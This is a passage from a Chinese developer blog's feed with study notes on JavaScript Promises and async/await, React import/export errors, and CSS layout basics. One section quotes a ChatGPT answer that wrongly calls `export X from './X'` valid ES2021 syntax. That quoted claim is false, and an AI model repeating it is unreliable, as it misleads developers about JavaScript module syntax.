</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">thenProm</span> <span class="o">=</span> <span class="nx">resolvedProm</span><span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="sb">`在主堆栈结束后被调用。收到的值是：</span><span class="si">${</span><span class="nx">value</span><span class="si">}</span><span class="sb">，返回的值是：</span><span class="si">${</span><span class="nx">value</span> <span class="o">+</span> <span class="mi">1</span><span class="si">}</span><span class="sb">`</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">value</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">thenProm</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 使用 setTimeout，我们可以将函数的执行推迟到调用栈为空的时刻。
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">setTimeout</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">thenProm</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 按顺序打印：
</span></span></span><span class="line"><span class="cl"><span class="c1">// Promise {[[PromiseStatus]]: &#34;resolved&#34;, [[PromiseResult]]: 33}
</span></span></span><span class="line"><span class="cl"><span class="c1">// Promise {[[PromiseStatus]]: &#34;pending&#34;, [[PromiseResult]]: undefined}
</span></span></span><span class="line"><span class="cl"><span class="c1">// &#34;在主堆栈结束后被调用。收到的值是：33，返回的值是：34&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1">// Promise {[[PromiseStatus]]: &#34;resolved&#34;, [[PromiseResult]]: 34}
</span></span></span></code></pre></div><ul>
<li>参考:
<ul>
<li><a href="https://juejin.cn/post/7016298598883131423"  target="_blank" rel="noopener" >setTimeout+Promise+Async输出顺序？很简单呀！掘金</a></li>
</ul>
</li>
</ul>
<h3 id="问题二-promise的原理">问题二: Promise的原理</h3>
<ul>
<li>观察者模式
wip</li>
</ul>
<h3 id="问题二-promisea-规范">问题二: Promise/A+ 规范</h3>
<p>wip</p>
<ul>
<li><a href="https://tsejx.github.io/javascript-guidebook/standard-built-in-objects/control-abstraction-objects/promise-standard/"  target="_blank" rel="noopener" >Promise/A+ 规范 - JavaScript Guidebook</a></li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise"  target="_blank" rel="noopener" >Promise - JavaScript | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/any"  target="_blank" rel="noopener" >Promise.any() - JavaScript | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/all"  target="_blank" rel="noopener" >Promise.all() - JavaScript | MDN</a></li>
<li><a href="https://juejin.cn/post/6844903655473152008"  target="_blank" rel="noopener" >浅析setTimeout与Promise - 掘金</a></li>
</ul>
<hr>
<h2 id="asyncawait">async/await</h2>
<h3 id="作用-1">作用</h3>
<ul>
<li>函数前面的关键字<code>async</code>有两个作用：
<ol>
<li>让这个函数总是返回一个 promise
<ul>
<li>返回普通值时将自动被包装在一个 resolved 的 promise 中。</li>
<li>也可以显式地返回一个 promise</li>
</ul>
</li>
<li>允许在该函数内使用 await。</li>
</ol>
</li>
<li>Promise 前的关键字 <code>await</code>
<ul>
<li>当 JavaScript 执行到 await 时，它会等待 Promise 的结果，</li>
<li>但这个等待过程<strong>不会阻塞</strong>主线程。JavaScript 引擎会将这个等待中的任务挂起，并允许继续处理其他同步代码或事件，直到 Promise 完成（或者超时、拒绝）。</li>
<li>这个行为不会耗费任何 CPU 资源，因为 JavaScript 引擎可以同时处理其他任务：执行其他脚本，处理事件等。</li>
</ul>
</li>
</ul>
<h3 id="实现">实现</h3>
<p>wip</p>
<h3 id="如何处理错误">如何处理错误</h3>
<p>wip</p>
<h3 id="示例-1">示例</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">f</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">try</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">let</span> <span class="nx">results</span> <span class="o">=</span> <span class="kr">await</span> <span class="nb">Promise</span><span class="p">.</span><span class="nx">all</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">      <span class="nx">fetch</span><span class="p">(</span><span class="nx">url1</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">      <span class="nx">fetch</span><span class="p">(</span><span class="nx">url2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">]);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">alert</span><span class="p">(</span><span class="nx">err</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">f</span><span class="p">();</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">add</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span> <span class="nx">item</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">await</span> <span class="nb">Promise</span><span class="p">.</span><span class="nx">resolve</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">arr</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">item</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kr">async</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr in IIFE1&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="kr">await</span> <span class="nx">add</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr in IIFE2&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="p">})()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">add</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kr">async</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr in IIFE3&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="kr">await</span> <span class="nx">add</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr in IIFE4&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="p">})()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">setTimeout</span><span class="p">(()=&gt;{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;arr in setTimeout&#39;</span><span class="p">,</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span><span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// arr in IIFE1
</span></span></span><span class="line"><span class="cl"><span class="c1">// arr in IIFE3
</span></span></span><span class="line"><span class="cl"><span class="c1">// arr
</span></span></span><span class="line"><span class="cl"><span class="c1">// arr in IIFE2 2,1,3
</span></span></span><span class="line"><span class="cl"><span class="c1">// arr in IIFE4 2,1,3
</span></span></span><span class="line"><span class="cl"><span class="c1">// arr in setTimeout 2,1,3
</span></span></span></code></pre></div><h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://zh.javascript.info/async-await"  target="_blank" rel="noopener" >async/await</a></li>
</ul>
<hr>
<h2 id="异步请求的竞态问题">异步请求的竞态问题</h2>
<h3 id="场景一">场景一</h3>
<ul>
<li>描述：需多次请求某一api，响应时间不固定。需要渲染的是最后一个请求返回的结果;常见于搜索，分页，选项卡等切换的场景</li>
<li>方法一：<strong>忽略</strong>: 计数，然后判断</li>
<li>方法二：<strong>取消</strong>: 在连续的请求过程中，每当我发出一个请求，我就将之前正在 pending 的请求的 Promise reject 掉，并且该请求的 XHR 对象执行 abort()；之前的请求 如果已经有响应的不用管它，我们当前的请求的结果会覆盖它的</li>
</ul>
<h3 id="参考-2">参考:</h3>
<ul>
<li><a href="https://github.com/YuArtian/blog/blob/master/Blog/%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3%E5%BC%82%E6%AD%A5%E8%AF%B7%E6%B1%82%E7%9A%84%E7%AB%9E%E6%80%81%E9%97%AE%E9%A2%98.md"  target="_blank" rel="noopener" >blog/Blog/如何解决异步请求的竞态问题.md at master · YuArtian/blog</a></li>
<li><a href="https://cloud.tencent.com/developer/article/2193937"  target="_blank" rel="noopener" >如何解决前端常见的竞态问题-腾讯云开发者社区-腾讯云</a></li>
<li><a href="https://www.ruanyifeng.com/blog/2012/12/asynchronous%EF%BC%BFjavascript.html"  target="_blank" rel="noopener" >Javascript异步编程的4种方法 - 阮一峰的网络日志</a></li>
</ul>
<hr>
<h2 id="执行顺序">执行顺序</h2>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/7016298598883131423"  target="_blank" rel="noopener" >setTimeout+Promise+Async输出顺序？很简单呀！- 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>React中的导入导出</title>
      <link>https://euds.org/2024/import-and-export-in-react/</link>
      <pubDate>Sun, 28 Apr 2024 00:20:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/import-and-export-in-react/</guid>
      <description>The requested module does not provide an export named</description>
      <content:encoded><![CDATA[<p><strong>之前对React中的import和export处在一知半解的情况，计划通过此篇来彻底弄清楚。</strong></p>
<h2 id="案例">案例</h2>
<p>在<code>src/components/Section</code>这个文件夹中有两个文件</p>
<pre tabindex="0"><code>ContextSection.jsx  
FileSection.jsx  
</code></pre><p>其中每个文件都类似于</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="kd">function</span> <span class="nx">ContextSection</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>我希望写一个<code>index.js</code>来统一export，一开始我的写法是</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">export</span> <span class="o">*</span> <span class="nx">from</span> <span class="s1">&#39;./ContextSection&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="o">*</span> <span class="nx">from</span> <span class="s1">&#39;./FileSection&#39;</span><span class="p">;</span>
</span></span></code></pre></div><p>我在<code>'/src/components/Session/index.js'</code>是这样import的</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">ContextSession</span><span class="p">,</span> <span class="nx">FileSession</span> <span class="p">}</span> <span class="nx">from</span> <span class="s2">&#34;/src/components/Session&#34;</span><span class="p">;</span>
</span></span></code></pre></div><p>报错是：
Uncaught SyntaxError: The requested module &lsquo;/src/components/Session/index.js&rsquo; does not provide an export named &lsquo;ContextSession&rsquo;</p>
<p>我直接去谷歌报错信息,但查找到的内容都有点牛头不对马嘴。最后是靠好好地看了遍<a href="https://react.dev/learn/importing-and-exporting-components"  target="_blank" rel="noopener" >Importing and Exporting Components – React</a>才猛然意识到自己哪里错了。</p>
<table>
<thead>
<tr>
<th>Syntax</th>
<th>Export statement</th>
<th>Import statement</th>
</tr>
</thead>
<tbody>
<tr>
<td>Default</td>
<td><code>export default function Button() {}</code></td>
<td><code>import Button from './Button.js';</code></td>
</tr>
<tr>
<td>Named</td>
<td><code>export function Button() {}</code></td>
<td><code>import { Button } from './Button.js';</code></td>
</tr>
</tbody>
</table>
<p>最后我的解决方法是，修改<code>index.js</code>为</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">export</span> <span class="p">{</span> <span class="k">default</span> <span class="nx">as</span> <span class="nx">ContextSection</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;./ContextSection&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="p">{</span> <span class="k">default</span> <span class="nx">as</span> <span class="nx">FileSection</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;./FileSection&#39;</span><span class="p">;</span>
</span></span></code></pre></div><h2 id="进一步">进一步</h2>
<p><code>export { default as FileSection } from './FileSection';</code> 和<code>export FileSection  from './FileSection';</code>的区别在哪呢？以下是ChatGPT的回答：</p>
<p>这两种写法在导出默认导出时有所不同：</p>
<ol>
<li>
<p><code>export { default as FileSection } from './FileSection';</code></p>
<p>这种写法使用了命名导出（named export）的语法，并且指定了导出的名称为 <code>FileSection</code>。它将 <code>./FileSection</code> 中的默认导出（使用 <code>export default</code> 导出的内容）导出为 <code>FileSection</code>。在其他文件中引用时，需要使用相同的名称来导入，例如 <code>import { FileSection } from './FileSection';</code>。</p>
</li>
<li>
<p><code>export FileSection from './FileSection';</code></p>
<p>这种写法是 ES2021 的新语法，称为<strong>export from</strong>语法，它直接导出了 <code>./FileSection</code> 中的默认导出，而无需指定名称。在其他文件中引用时，可以使用任何名称来导入，例如 <code>import MyFileSection from './FileSection';</code>。在这种情况下，导入的名称不需要与导出的名称相同。</p>
</li>
</ol>
<p>综上所述，第一种写法强制使用指定的导出名称，而第二种写法更加灵活，允许导入时使用任意名称。</p>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://react.dev/learn/importing-and-exporting-components"  target="_blank" rel="noopener" >Importing and Exporting Components – React</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>CSS知识点整理</title>
      <link>https://euds.org/2024/css_points/</link>
      <pubDate>Sat, 06 Apr 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/css_points/</guid>
      <description>自己学习过程中整理的关于CSS的知识点</description>
      <content:encoded><![CDATA[<h2 id="如何理解css">如何理解css</h2>
<blockquote>
<p>I like to think of CSS as a collection of layout modes. Each layout mode is an algorithm that can implement or redefine each CSS property. We provide an algorithm with our CSS declarations (key/value pairs), and the algorithm decides how to use them.</p>
<p>In other words, the CSS we write is an input for these algorithms, like arguments passed to a function. If we want to truly feel comfortable with CSS, it&rsquo;s not enough to learn the properties; we have to learn how the algorithms use these properties.</p>
</blockquote>
<p>参考<a href="https://www.joshwcomeau.com/css/interactive-guide-to-flexbox/"  target="_blank" rel="noopener" >An Interactive Guide to Flexbox in CSS</a></p>
<hr>
<h2 id="常见的css布局单位">常见的css布局单位</h2>
<ul>
<li>px: 绝对单位</li>
<li>em: 相对单位
<ul>
<li>font-size：相对于父元素字体</li>
<li>width: 相对于当前元素字体</li>
</ul>
</li>
<li>rem(root em): 相对单位
<ul>
<li>相对于根元素，也就是<code>html</code></li>
</ul>
</li>
<li><code>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot;&gt;</code></li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://www.explainthis.io/zh-hant/swe/css-px-em-rem-differences"  target="_blank" rel="noopener" >CSS 中有哪些單位? 該如何使用?｜ExplainThis</a></li>
<li><a href="https://www.cnblogs.com/kidney/p/6692312.html"  target="_blank" rel="noopener" >1px 究竟是多大 - {Bison} - 博客园</a></li>
</ul>
<hr>
<h2 id="viewport">viewport</h2>
<p>wip</p>
<ul>
<li><a href="https://www.kyleblog.cn/posts/viewport"  target="_blank" rel="noopener" >viewport配置里的width=device-width和initial-scale=1.0到底是干嘛的 - KyleBlog.cn</a></li>
</ul>
<hr>
<h2 id="orientation">orientation</h2>
<ul>
<li>
<p>portrait: The viewport is in a portrait orientation, i.e., the height is greater than or equal to the width.</p>
</li>
<li>
<p>landscape: The viewport is in a landscape orientation, i.e., the width is greater than the height.</p>
</li>
<li>
<p>参考: <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/orientation"  target="_blank" rel="noopener" >orientation - CSS: Cascading Style Sheets | MDN</a></p>
</li>
</ul>
<hr>
<h2 id="visibility">Visibility</h2>
<ul>
<li>visible</li>
<li>hidden</li>
<li>collapse: 只对 table 对象起作用，能移除行或列但不会影响表格的布局。如果这个值用在 table 以外的对象上则表现为 hidden</li>
<li>inherit</li>
</ul>
<hr>
<h2 id="display">Display</h2>
<h3 id="分类">分类</h3>
<ul>
<li>none: 元素不可见，并且不为其保留相应的位置</li>
<li>block: 表现为一个块级元素（一般情况下独占一行） <code>&lt;div&gt;、 &lt;h1&gt;、&lt;p&gt;</code></li>
<li>inline: 表现为一个行级元素（一般情况下不独占一行）<code>&lt;a&gt;、&lt;img&gt;、&lt;span&gt;</code></li>
<li>inline-block: 结合了行內元素和塊級元素的特點，會像 inline 元素一樣的同行排列，但同時擁有 block 元素可以設定寬高的特性。</li>
</ul>
<h3 id="visibilityhidden-vs-displaynone-vs-opacity0">visibility:hidden vs display:none vs opacity:0</h3>
<ul>
<li><code>visibility: hidden;</code>: 隐藏元素，但是它仍然占用布局中的空间。如果隐藏框的子元素的可见性设置为“可见”，则它们将是可见的。</li>
<li><code>display: none;</code>: 关闭显示并从文档中完全删除该元素。即使它的HTML仍在源代码中，它也不占用任何空间。即使所有子元素的显示属性均设置为none，也将关闭其显示。</li>
<li>具有<code>opacity: 0</code>的元素是可以互动的，因为它们<strong>实际上是可见</strong>的，只是非常透明。opacity 属性并不指定一个元素的可见性——它只指定透明度</li>
<li>参考: <a href="https://www.freecodecamp.org/chinese/news/css-display-none-and-visibility-hidden-the-difference/"  target="_blank" rel="noopener" >CSS display:none 和 visibility:hidden 的区别</a></li>
</ul>
<hr>
<h2 id="bfc-vs-ifc">BFC v.s IFC</h2>
<h3 id="bfc">BFC</h3>
<ul>
<li>块级格式上下文 (Block Formatting Context)</li>
<li>概念
<ol>
<li>一个独立的渲染区域，只有Block-level box参与</li>
<li>规定了内部的Block-level Box如何布局，并且与这个区域外部毫不相干。</li>
</ol>
</li>
<li>规则
<ol>
<li>内部的Box会在垂直方向，一个接一个地放置</li>
<li>BFC就是页面上的一个隔离的独立容器，容器里面的子元素不会影响到外面的元素。反之也如此。</li>
</ol>
</li>
<li>产生
<ol>
<li>overflow的值不为visible。(这个是最推荐开启bfc的,副作用最小)</li>
<li>position的值不为relative和static。</li>
<li>display的值为table-cell, table-caption, inline-block中的任何一个。</li>
</ol>
</li>
<li>使用场景
<ol>
<li>自适应两栏布局</li>
<li>清除内部浮动</li>
<li>防止margin重叠</li>
<li>实现更健壮、更智能的自适应布局。</li>
</ol>
</li>
</ul>
<h3 id="ifc">IFC</h3>
<ul>
<li>内联格式化上下文（inline formatting context）</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_display/Block_formatting_context"  target="_blank" rel="noopener" >区块格式化上下文 - CSS：层叠样式表 | MDN</a></li>
<li><a href="https://github.com/YvetteLau/Step-By-Step/issues/15"  target="_blank" rel="noopener" >什么是BFC？BFC的规则是什么？如何创建BFC？ · Issue #15 · YvetteLau/Step-By-Step</a></li>
</ul>
<hr>
<h2 id="盒模型">盒模型</h2>
<h3 id="四部分组成">四部分组成</h3>
<ol>
<li>元素内容（content）：</li>
<li>内边距（padding）</li>
<li>边框（border）</li>
<li>外边距（margin）</li>
</ol>
<h3 id="分类-1">分类</h3>
<ol>
<li>W3C 标准盒子模型: width/height 只是内容高度</li>
<li>IE 怪异盒子模型: width/height 包含了 padding和 border</li>
</ol>
<h3 id="box-sizing">box-sizing</h3>
<ul>
<li>语法: <code>box-sizing: content-box|border-box|inherit:</code></li>
</ul>
<hr>
<h2 id="css中可以和不可以继承的属性">CSS中可以和不可以继承的属性</h2>
<ul>
<li>具体参见<a href="https://www.cnblogs.com/thislbq/p/5882105.html"  target="_blank" rel="noopener" >CSS中可以和不可以继承的属性 - KerwinLee - 博客园</a></li>
<li>基本原则:
<ul>
<li>文本属性和字体属性通常是可以继承的: font-size, font-weight, line-height, color, cursor,letter-spacing等</li>
<li>涉及到盒模型属性，布局属性(例如，display, position)，背景属性普遍是不能继承: display, margin，border，padding，height等</li>
<li>需要特别注意的是元素可见性属性(visibility)是可以继承的</li>
</ul>
</li>
<li>验证: 开发者工具，选择具体元素并查看元素选项，若为灰色则不可继承</li>
<li>参考
<ul>
<li><a href="https://juejin.cn/post/7065209860400349191"  target="_blank" rel="noopener" >如何确定一个 CSS 属性是否可以被继承基本原则 文本属性和字体方属性通常是可以继承的，盒模型属性，布局属性，背景属性普 - 掘金</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="优先级">优先级</h2>
<h3 id="选择器">选择器</h3>
<ul>
<li>id选择器: <code>#id{}</code></li>
<li>类选择器: <code>.class{}</code></li>
<li>属性选择器: <code>a[href=&quot;ds63.eu.org&quot;]{}</code></li>
<li>伪类选择器: <code>::before{}</code></li>
<li>标签选择器: <code>span{}</code></li>
<li>通配选择器: <code>*{}</code></li>
</ul>
<h3 id="规则">规则</h3>
<ol>
<li>最近的祖先样式比其他祖先样式优先级高</li>
<li>&ldquo;直接样式&quot;比&quot;祖先样式&quot;优先级高</li>
<li>优先级顺序: 内联样式 &gt; ID 选择器 &gt; 类选择器 = 属性选择器 = 伪类选择器 &gt; 标签选择器 = 伪元素选择器</li>
<li>计算选择符中 ID 选择器的个数（a），计算选择符中类选择器、属性选择器以及伪类选择器的个数之和（b），计算选择符中标签选择器和伪元素选择器的个数之和（c）。按 a、b、c 的顺序依次比较大小，大的则优先级高，相等则比较下一个。若最后两个的选择符中 a、b、c 都相等，则按照&quot;就近原则&quot;来判断。</li>
<li>属性后插有<code>!important</code>的属性拥有最高优先级。若同时插有 !important，则再利用规则 3、4 判断优先级</li>
</ol>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://www.runoob.com/w3cnote/css-style-priority.html"  target="_blank" rel="noopener" >CSS 样式优先级 | 菜鸟教程</a></li>
<li><a href="https://www.explainthis.io/zh-hans/swe/css-specificity"  target="_blank" rel="noopener" >请说明 CSS 选择器的优先级｜ExplainThis</a></li>
</ul>
<hr>
<h2 id="position">position</h2>
<h3 id="static"><code>static</code></h3>
<p>默认值。没有定位，元素出现在正常的流中（忽略top,bottom,left,right,z-index声明）。</p>
<h3 id="absolute"><code>absolute</code></h3>
<ul>
<li>生成绝对定位的元素，相对于<strong>值不为static的第一个父元素的paddingbox</strong>进行定位</li>
<li>在父元素没有设置相对定位或绝对定位的情况下，元素相对于根元素定位（即html元素）</li>
<li>元素会脱离文档流</li>
</ul>
<h3 id="fixed"><code>fixed</code></h3>
<ul>
<li>生成绝对定位的元素，相对于浏览器窗口进行定位。</li>
</ul>
<h3 id="relative"><code>relative</code></h3>
<ul>
<li>生成相对定位的元素，相对于<strong>其元素本身所在正常位置</strong>进行定位。</li>
</ul>
<h3 id="inherit"><code>inherit</code></h3>
<ul>
<li>规定从父元素继承position属性的值。</li>
</ul>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://www.runoob.com/w3cnote/css-position-static-relative-absolute-fixed.html"  target="_blank" rel="noopener" >CSS position 相对定位和绝对定位 | 菜鸟教程</a></li>
</ul>
<hr>
<h2 id="伪类与伪元素">伪类与伪元素</h2>
<h3 id="伪类">伪类</h3>
<ul>
<li><code>:hover</code></li>
<li><code>:focus</code></li>
<li><code>:first-child</code></li>
<li><code>:nth-child(n)</code></li>
<li>LVHA
<ol>
<li><code>:link</code></li>
<li><code>:visited</code></li>
<li><code>:hover</code></li>
<li><code>:active</code></li>
</ol>
</li>
</ul>
<h3 id="伪元素">伪元素</h3>
<ul>
<li>用户无法直接选中或复制 CSS 伪元素: 因为伪元素生成的内容并不是真正的 DOM 元素，而是由浏览器在渲染时动态插入的,这也是伪元素为什么叫“伪”元素。</li>
<li><code>::before</code>,<code>::after</code>
<ul>
<li>Accessibility: Using a ::before pseudo-element to add content is <strong>discouraged</strong>, as it is not reliably accessible to screen readers.</li>
<li><code>content</code>
<ul>
<li>属性:
<ul>
<li><code>url</code></li>
<li><code>counter</code></li>
<li><code>attr(X)</code>: 将元素的 X 属性以字符串形式返回。如果该元素没有 X 属性，则返回一个空字符串</li>
</ul>
</li>
<li>示例
<ul>
<li><code>content: url(http://www.mozilla.org/favicon.ico) &quot; MOZILLA: &quot;;</code></li>
<li><code>content: &quot; (&quot; attr(id) &quot;)&quot;;</code> 这里的id即该元素的id</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><code>::first-letter</code></li>
<li><code>::first-line</code></li>
<li><code>::selection</code>: 	选择用户选择的元素部分。</li>
</ul>
<h3 id="参考-4">参考</h3>
<ul>
<li><a href="https://www.w3school.com.cn/css/css_pseudo_classes.asp"  target="_blank" rel="noopener" >CSS 伪类</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/:link"  target="_blank" rel="noopener" >:link - CSS：层叠样式表 | MDN</a></li>
<li><a href="https://www.w3school.com.cn/css/css_pseudo_elements.asp"  target="_blank" rel="noopener" >CSS 伪元素</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/::before"  target="_blank" rel="noopener" >::before - CSS: Cascading Style Sheets | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/content"  target="_blank" rel="noopener" >content - CSS：层叠样式表 | MDN</a></li>
</ul>
<hr>
<h2 id="letter-spacing">letter-spacing</h2>
<ul>
<li>用于设置文本字符的间距表现</li>
<li>可继承</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/letter-spacing"  target="_blank" rel="noopener" >letter-spacing - CSS: Cascading Style Sheets | MDN</a></li>
</ul>
<h2 id="grid">GRID</h2>
<p>wip</p>
<hr>
<h2 id="transforms">Transforms</h2>
<ul>
<li>We can use translate to shift an item along in either axis:
<ul>
<li>x moves side to side, y moves up and down.</li>
<li>Positive values move down and to the right. Negative values move up and to the left.</li>
</ul>
</li>
<li>the item&rsquo;s in-flow position doesn&rsquo;t change</li>
<li><code>calc</code>: 示例： <code>transform: translateX(calc(15% + -8px));</code></li>
<li>参考: <a href="https://www.joshwcomeau.com/css/transforms/"  target="_blank" rel="noopener" >CSS Transforms tutorial</a></li>
</ul>
<hr>
<h2 id="animation">animation</h2>
<ul>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">cylon_eye</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">animation</span><span class="p">:</span> <span class="mi">4</span><span class="kt">s</span> <span class="kc">linear</span> <span class="mi">0</span><span class="kt">s</span> <span class="kc">infinite</span> <span class="kc">alternate</span> <span class="n">move_eye</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">keyframes</span> <span class="nt">move_eye</span> <span class="p">{</span>
